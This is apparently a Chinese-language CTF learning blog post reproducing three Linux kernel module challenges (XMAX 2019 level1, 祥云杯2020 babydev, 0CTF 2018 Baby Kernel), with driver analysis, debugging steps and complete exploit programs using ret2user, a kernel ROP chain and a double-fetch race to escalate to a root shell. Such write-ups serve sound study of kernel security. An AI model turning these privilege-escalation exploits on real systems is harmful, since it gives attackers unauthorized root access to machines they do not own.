kernel pwn入门之路(二)

例题复现

Posted by X1ng on January 4, 2021

只会做几个烂大街的堆题目,,比赛堆题签个到走人

这好吗?这不好,,所以赶紧学学Linux kernel module pwn,记个笔记

非常感谢PKFXXXX学长的帮助 or2

例题

XMAX 2019 level1

题目只给了4个文件

ida打开baby.ko

有三个函数,其中init_module和cleanup_module用来注册和移除驱动,可以看到注册的驱动叫baby

分析sub_0

copy_from_user存在栈溢出漏洞

解包文件系统

mkdir extracted; cd extracted
cpio -i --no-absolute-filenames -F ../initramfs.cpio

找到rcS文件

find . | grep "rcS"
vim ./etc/init.d/rcS

修改setsid一行的1000为0

重新打包文件系统

find . | cpio -o --format=newc > ../initramfs.cpio
cd ..

startvm.sh末尾加上-gdb tcp::1234后启动内核

chmod +x startvm.sh
./startvm.sh

可以看到驱动加载基址为0xffffffffc0002000prepare_kernel_cred地址为ffffffff810b9d80commit_creds地址为ffffffff810b99d0

但是要进行下断点调试的话,由于这题ko文件没有符号表,只能通过地址来下断点,在ida里可以看到存在漏洞函数sub_0,相对基地址偏移为0,所以只需要在0xffffffffc0002000下断点就可以

对于有时候ida中的地址不准确,可以通过miscdevice结构体

其中的file_operations结构体

找到漏洞函数的地址

比如这题的

就可以通过

cat /proc/kallsyms | grep baby

可以看到三个函数的地址

之后在gdb中找到init_module中函数中调用的misc_register(&off_120);

通过偏移找到存在漏洞函数的地址

由于什么保护都没有打开,可以直接ret2user

所以利用思路就是在exp代码中构造提权函数commit_creds(prepare_kernel_cred(0));以及恢复寄存器的函数,计算好偏移后直接覆盖内核中的返回地址为exp中用户态代码,完成提权

exp:

//gcc -o exp exp.c -static

#include <stdio.h>

#include <pthread.h>

#include <unistd.h>

#include <stdlib.h>

#include <sys/ioctl.h>

#include <sys/types.h>

#include <sys/stat.h>

#include <fcntl.h>


#define KERNCALL __attribute__((regparm(3)))


void* (*prepare_kernel_cred)(void*) KERNCALL = (void*) 0xffffffff810b9d80; // TODO:change it
void (*commit_creds)(void*) KERNCALL = (void*) 0xffffffff810b99d0; // TODO:change it

unsigned long user_cs, user_ss, user_rflags, user_sp;

void save_stat() {
    asm(
        "movq %%cs, %0;"
        "movq %%ss, %1;"
        "movq %%rsp, %2;"
        "pushfq;"
        "popq %3;"
        : "=r" (user_cs), "=r" (user_ss), "=r" (user_sp), "=r" (user_rflags) : : "memory");
}

void shell()
{
	system("/bin/sh");
	exit(0);
}

int get()
{
	commit_creds(prepare_kernel_cred(0));
	asm(
		"pushq   %0;"
		"pushq   %1;"
		"pushq   %2;"
		"pushq   %3;"
		"pushq   $shell;"
		"pushq   $0;"
		"swapgs;"
		"popq    %%rbp;"
		"iretq;"
		::"m"(user_ss), "m"(user_sp), "m"(user_rflags), "m"(user_cs)
	);
}


int main()
{
	save_stat();
	printf("[+]open drive\n");
	int fd = open("/dev/baby",0);
	if (fd < 0) {
		printf("[-] bad open device\n");
		exit(-1);
	}

	void *buf[0x100];
	printf("&buf : %x\n", &buf);
	for(int i = 0; i<0x12; i++){
		buf[i] = &get;
		printf("[+]buf[%d] = %x\n", i, buf[i]);
	}

	printf("[+]call ioctl\n");
	ioctl(fd, 0x6001, buf);

	return 0;
}

祥云杯2020 babydev

比赛时一脸懵逼

题目给了五个文件

ida打开ko文件

可以看到注册的驱动叫mychrdev,总体实现的功能是一个字符设备的驱动程序,kmalloc_order_trace动态分配内存来保存文件的数据,其地址保存在mydata指针变量,根据文件读写指针对文件的数据进行读写,驱动程序中主要维护三个指针

  • 在其file结构体的0x68偏移处存放文件读写指针
  • 在mydata+0x10000中存放文件开头相对于mydata的偏移
  • 在mydata+0x10008中存放文件结尾相对于mydata的偏移

file结构体

struct file {
     union {
         struct llist_node    fu_llist;
         struct rcu_head     fu_rcuhead;
     } f_u;
     struct path        f_path;
     struct inode        * f_inode;    / * cached value * /
     const struct file_operations    * f_op;
 
     / *
      * Protects f_ep_links, f_flags.
      * Must not be taken from IRQ context.
      * /
     spinlock_t        f_lock;
     enum rw_hint        f_write_hint;
     atomic_long_t        f_count;
     unsigned int         f_flags;
     fmode_t            f_mode;
     struct mutex        f_pos_lock;
     loff_t            f_pos;                      //偏移 0x68
     struct fown_struct    f_owner;
     const struct cred    * f_cred;                //这里指向当前进程的cred结构体,偏移 0x90
     struct file_ra_state    f_ra;
 
     u64            f_version;
#ifdef CONFIG_SECURITY

     void            * f_security;
#endif

     / * needed for tty driver, and maybe others * /
     void            * private_data;
 
#ifdef CONFIG_EPOLL

     / * Used by fs / eventpoll.c to link all the hooks to this file * /
     struct list_head    f_ep_links;
     struct list_head    f_tfile_llink;
#endif /* #ifdef CONFIG_EPOLL */

     struct address_space    * f_mapping;
     errseq_t        f_wb_err;
     errseq_t        f_sb_err; / * for syncfs * /
} __randomize_layout
   __attribute__((aligned( 4 )));    / * lest something weird decides that 2 is OK * /

所以文件指针就是f_pos

驱动中定义了open函数、read函数、write函数、llseek函数以及ioctl函数

open函数

read函数

a2是一个用户空间地址,a3是读取的长度size,a4是文件指针(可以通过linux kernel源码查看read函数调用接口)

mydata + 0x10000mydata + 0x10008保存的都是0到0xffff 之间的数字,分别表示文件的头和尾相对于mydata的偏移

实现的功能是在满足条件的情况下将内核空间v7 + v6 + mydata处(也就是mydata+文件起始偏移+文件指针处)的数据读取到用户空间a2,并且文件指针会向后移动

write函数

a2是一个用户空间地址,a3是读取的长度size,a4类似于文件指针(可以通过linux kernel源码查看write函数调用接口)

mydata + 0x10000mydata + 0x10008保存的都是0到0xffff 之间的数字,分别表示文件的头和尾相对于mydata的偏移

实现的功能是在满足条件的情况下将用户空间地址a2处长度为a3的数据传入内核空间(mydata+0x10000) + v5 + mydata处(也就是mydata+文件起始偏移+文件指针处),文件结尾(mydata+0x10008)加上写入的字节数,并且文件指针会向后移动

llseek函数

a3==0时,函数功能是设置文件读写指针为a2

a3==1时,函数功能是将文件读写指针跳转到当前地址+a2的位置

a3==2时,函数功能是将文件读写指针跳转到文件倒数第|a2|(这里a2需要是负数)个位置

不知道是不是调试环境的原因,用户态调用时应该调用lseek函数

ioctl函数

只定义了0x1111操作

可以将 file结构体偏移0xc8位置的指针 所指向内存中的数据 传递到用户空间

漏洞点在ioctl函数和write函数

  1. ioctl函数:

    看一下泄露出的数据中有什么信息

    其中rsi+0x10处有一个内核栈地址的相对偏移,rsi+0x20处保存着一个地址,经过测试可以知道是用来保存文件数据的mydata指针指向的地址

  2. write函数:

    如果文件读写指针+写入字节数>0x10000,进入的if分支,会把写入字节数缩小为0x10000与文件读写指针的差值

    ida并没有识别好这一分支,查看汇编代码

    其中rdx寄存器则是文件指针,而movzx是零扩展并转移的意思

    也就是说假设rdx = 0x10001,则sub rbx,rdx后rbx寄存器中为0xffffffffffffffff,但是其低位寄存器bx中数据0xffff经过零扩展后,得到的ebx为0x0000fffff

    之后继续执行copy_from_user函数,此时的文件指针还是0x10001,而写入字节数确是0x0000fffff

    通过覆盖mydata + 0x10000以及mydata + 0x10008就可以实现任意地址读写

打开start.sh加上-gdb tcp::1234

可以看到开启了smepsmap,没有开启kalsr

解包文件系统

mkdir extracted; cd extracted
cpio -i --no-absolute-filenames -F ../core.cpio

这道题没有rcS文件,用于初始化的文件是根目录下的init

修改init文件中setsid一行的1000为0

打包文件系统

find . | cpio -o --format=newc > ../core.cpio
cd ..

打开qemu

./start.sh

gdb打开

gdb mychrdev.ko
add-symbol-file ./mychrdev.ko 0xffffffffc0000000
target remote :1234

进行调试

参考风沐云烟师傅和Nu1l战队的exp,使用rop的方法进行利用

  1. ioctl泄露mydata指针指向的地址和栈上的地址,并计算返回地址

  2. 第一次write将文件末尾偏移改为0xf000,第二次write将文件末尾偏移改为0x1ef00,第三次write就可以控制文件开头偏移和末尾偏移了

    需要注意的是第三次write如果直接用llseek将文件指针设置为0x10000的话,此时文件指针与写入字节数的和必然大于0x10000,进入存在漏洞的if分支后写入字节数为0x10000-0x10000=0,覆盖文件开头偏移和末尾偏移就失败了

    所以可以将文件指针设置为0x10001,并且从data第二个字节开始写入,然后通过llseek设置文件指针指向返回地址

  3. 之后就是找到有用的gadget,将rop链写入内核栈中覆盖返回地址,执行commit_creds(prepare_kernel_cred(0))进行提权

exp:

#include <stdio.h>

#include <stdlib.h>

#include <fcntl.h>

#include <string.h>

#include <unistd.h>

#include <pthread.h>


#include <sys/wait.h>

#include <sys/stat.h>

#include <sys/types.h>


#define pop_rdi_ret 0xFFFFFFFF813EAD2C

#define swapgs_popfq_ret 0xFFFFFFFF81C00EAE // swapgs; popfq; pop rbp; ret;

#define iretq 0xFFFFFFFF81025A56	// iretq; pop rbp; ret;

#define xchg_rax_rdi 0xFFFFFFFF81768EF2

#define vmlinux_base 0xFFFFFFFF81000000

#define dev_text_base 0xFFFFFFFFC0000000




#define KERNCALL __attribute__((regparm(3)))


void* (*prepare_kernel_cred)(void*) KERNCALL = (void*) 0xffffffff8108d690; // TODO:change it
void (*commit_creds)(void*) KERNCALL = (void*) 0xffffffff8108d340; // TODO:change it

unsigned long user_cs, user_ss, user_rflags, user_sp;

void save_stat() {
    asm(
        "movq %%cs, %0;"
        "movq %%ss, %1;"
        "movq %%rsp, %2;"
        "pushfq;"
        "popq %3;"
        : "=r" (user_cs), "=r" (user_ss), "=r" (user_sp), "=r" (user_rflags) : : "memory");
}

void shell()
{
	system("/bin/sh");
	exit(0);
}

size_t data[0x10000];
size_t mydata;
size_t stack;

int main()
{
	save_stat();
	signal(SIGSEGV, shell);
	signal(SIGTRAP, shell);

	int fd = open("/dev/mychrdev",O_WRONLY);
	ioctl(fd,0x1111,data);
	mydata = data[4];
	stack = (data[2] | 0xFFFFC90000000000) - 0x10;
	printf("[+] mydata at: %p\n",mydata);
	printf("[+] Stack at: %p\n",stack);

	write(fd,data,0xF000);
	lseek64(fd,0x100,0);

	write(fd,data,0x10000);
	lseek64(fd,0x10001,0);

	data[0] = stack - mydata;
	data[1] = stack - mydata + 0x10000;
	write(fd,(char*)data+1,0x10000);

	size_t off = stack&0xFF;
	lseek64(fd,off,0);

	int i = 0;
	data[i++] = pop_rdi_ret;
	data[i++] = 0;
	data[i++] = prepare_kernel_cred;
	data[i++] = xchg_rax_rdi;
	data[i++] = commit_creds;
	data[i++] = swapgs_popfq_ret;	// swapgs; popfq; ret
	data[i++] = 0;			// rflags
	data[i++] = 0;
	data[i++] = iretq;		// iretq; ret;
	data[i++] = (size_t)shell;

	data[i++] = user_cs;		// cs
	data[i++] = user_rflags;	// rflags
	data[i++] = user_sp;		// rsp
	data[i++] = user_ss;		// ss
	write(fd,data,0x100);
	return 0;
}

2018 0CTF Finals Baby Kernel

Double Fetch漏洞原理

Double Fetch漏洞属于条件竞争漏洞,一个用户态线程准备的数据通过系统调用进入内核,进入内核的时候进行安全检查(比如缓冲区大小、指针可用性等),当检查通过后进行实际处理之前,另一个用户态线程可以创造条件竞争,对那个已经将通过了检查的用户态数据进行篡改,使得数据在真实使用时造成访问越界或缓冲区溢出,最终导致内核崩溃或权限提升

程序逻辑分析

ida打开驱动程序baby.ko

可以看到if语句的两个分支,第一个分支可以输出flag的地址,第二个分支有两个检查,检查通过则与内存中flag逐字节对比,全部一致则输出flag

双击flag可以直接在内存中看到flag,,但是复现的主要目的是学习Double Fetch漏洞,所以需要绕过检查来让程序打印出flag

检查函数如下

函数逻辑是判断a1+a2是否小于a3,小于a3返回0,通过检查

通过*(_QWORD *)v5*(_DWORD *)(v5 + 8) == strlen(flag)我们很容易推出v5这个结构体包含的是一个flag的地址及其长度,为了与内核中的flag区分,这里记为flag1

struct v5{
    char *flag1;
    size_t len;
};

用gdb调试发现,作为__chk_range_not_ok函数的第三个参数的是0x7ffffffff000

可以推测该函数用来判断前面两个参数的数据指针是否为用户态数据(因为如果可以是内核态数据的话,就可以让v5->flag1 = flag,直接通过后面的比较操作,从而打印出flag)

漏洞分析

漏洞在于 对v5的地址是否在内核中的检查 和 让flag1和flag逐字节比较 两个操作不是一个原子操作,也就是说可以在 对v5地址是否在内核中的检查 之后,在 让flag1和flag逐字节比较 之前将v5->flag1中的地址改成内核中的flag的地址,通过验证

所以思路就是先利用驱动提供的0x6666分支,获取内核中flag的加载地址(这个地址可以通过dmesg命令查看);然后构造一个符合0x1337分支的数据结构,其中len可以从ida中.data上直接数出来为33,此时的v5->flag1指向一个用户空间地址;再调用pthread_create创建一个恶意线程,不断的将flag1所指向的用户态地址修改为内核中的flag地址以制造竞争条件,从而使其通过驱动中的逐字节比较检查,输出flag内容


int pthread_create(pthread_t *tidp, const pthread_attr_t *attr, void *(*start_rtn)(void *), void *arg);

第一个参数为指向线程标识符指针

第二个参数用来设置线程属性。

第三个参数是线程运行函数的起始地址。

最后一个参数是运行函数的参数。

栗子:

#include <pthread.h>

void change_flag_addr(void *a){
    struct v5 *s = a;
    while(finish == 1){
        s->flag = flag_addr;
    }
}

int main()
{
	struct v5 t;
	pthread_t t1;
	pthread_create(&t1,NULL,change_flag_addr,&t); 
}


调了一下钞sir师傅的poc:

#include <stdio.h>

#include <fcntl.h>

#include <sys/ioctl.h>

#include <pthread.h>


unsigned long long flag_addr;
int Time = 1000;
int finish = 1;

struct v5{
    char *flag;
    size_t len;
};

//change the user_flag_addr to the kernel_flag_addr
void change_flag_addr(void *a){
    struct v5 *s = a;
    while(finish == 1){
        s->flag = flag_addr;
    }
}

int main()
{
    setvbuf(stdin,0,2,0);
    setvbuf(stdout,0,2,0);
    setvbuf(stderr,0,2,0);
    pthread_t t1;
    char buf[201]={0};
    char m[] = "flag{AAAA_BBBB_CC_DDDD_EEEE_FFFF}";     //user_flag
    char *addr;
    int file_addr,fd,ret,id,i;
    struct v5 t;
    t.flag = m;
    t.len = 33;
    fd = open("/dev/baby",0);
    ret = ioctl(fd,0x6666);
    system("dmesg | grep flag > /tmp/sir.txt");     //get kernel_flag_addr
    file_addr = open("/tmp/sir.txt",O_RDONLY);
    id = read(file_addr,buf,200);
    close(file_addr);
    addr = strstr(buf,"Your flag is at ");
    if(addr)
        {
            addr +=16;
            flag_addr = strtoull(addr,addr+16,16);
            printf("[*]The flag_addr is at: %p\n",flag_addr);
        }
    else
    {
            printf("[*]Didn't find the flag_addr!\n");
            return 0;
    }
    pthread_create(&t1,NULL,change_flag_addr,&t);   //Malicious thread
    for(i=0;i<Time;i++){
        ret = ioctl(fd,0x1337,&t);
        t.flag = m;     //In order to pass the first inspection
    }
    finish = 0;
    pthread_join(t1,NULL);
    close(fd);
    printf("[*]The result:\n");
    system("dmesg | grep flag");
    return 0;
}

PS:

  1. 配置QEMU启动参数时,不要开启SMAP保护,否则在内核中直接访问用户态数据会引起kernel panic…

  2. 配置QEMU启动参数时,需要配置为非单核单线程启动,不然无法触发poc中的竞争条件,具体操作是在启动参数中增加其内核数选项,如:

    -smp 2,cores=2,threads=1  \
    

参考资料:

Linux Kernel Pwn 初探

祥云杯2020 babydev

祥云杯2020 babydev详解

fmyy’s blog

Linux Kernel Exploit 内核漏洞学习(1)-Double Fetch